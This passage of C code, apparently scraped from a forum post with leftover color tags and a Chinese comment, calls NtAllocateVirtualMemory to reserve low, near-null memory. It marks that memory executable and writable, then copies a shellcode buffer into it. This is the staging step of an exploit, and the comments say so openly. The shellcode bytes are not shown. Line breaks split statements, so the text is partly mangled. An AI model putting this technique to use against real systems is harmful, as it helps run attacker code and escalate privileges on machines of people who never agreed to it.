Status=NtAllocateVirtualMemory([color=blue]
//
顺便说下这里不能用VirtualAlloc()函数[
/color
]
(HANDLE) -1,
//null
HANDLE
&Addr,
//0x2
0,
//If
BaseAddress is zero, system use first
free
virtual location.
&Size,
//0x1000
MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE);
//READWRITE
if
(Status) {
printf
(
"Error with NtAllocateVirtualMemory : 0x%x\n"
, Status);}
else
{
printf
(
"Addr : 0x%x OKAY\n"
, Addr); }
//Addr
will be the address of shellcode
in
Virtual Memory
memcpy(Addr, Shellcode, sizeof(Shellcode));